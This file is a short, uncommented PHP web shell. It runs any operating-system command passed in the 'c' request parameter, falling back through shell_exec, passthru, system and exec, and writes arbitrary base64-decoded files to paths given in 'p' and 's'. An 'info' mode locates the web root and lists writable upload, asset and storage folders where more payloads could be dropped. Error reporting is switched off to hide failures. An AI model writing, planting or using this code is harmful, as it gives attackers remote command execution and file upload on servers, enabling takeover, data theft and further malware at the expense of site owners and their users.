<?php
error_reporting(0);
$c = isset($_REQUEST['c']) ? $_REQUEST['c'] : '';
$p = isset($_REQUEST['p']) ? $_REQUEST['p'] : '';
$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';

if($p && $s){
    @file_put_contents($p, base64_decode($s));
    echo file_exists($p) ? "OK:$p" : "FAIL";
    exit;
}

if($c == 'info'){
    $root = $_SERVER['DOCUMENT_ROOT'];
    $cwd = getcwd();
    if(preg_match('#(.+?/public_html)#', $cwd, $m)) $root = $m[1];
    elseif(preg_match('#(.+?/www)#', $cwd, $m)) $root = $m[1];
    elseif(preg_match('#(.+?/htdocs)#', $cwd, $m)) $root = $m[1];
    
    $dirs = ['public','assets','images','uploads','img','css','js','storage/files','storage/avatars','storage/logos'];
    $ok = [];
    foreach($dirs as $d){
        $path = "$root/$d";
        if(is_dir($path) && is_writable($path)) $ok[] = $d;
    }
    if(is_writable($root)) $ok[] = '.';
    
    echo "ROOT:$root|DIRS:".implode(',',$ok);
    exit;
}

if($c){
    $o = @shell_exec($c);
    if(!$o){ ob_start(); @passthru($c); $o = ob_get_clean(); }
    if(!$o){ ob_start(); @system($c); $o = ob_get_clean(); }
    if(!$o){ @exec($c,$arr); $o = implode("
",$arr); }
    echo $o ?: "EMPTY";
}
?>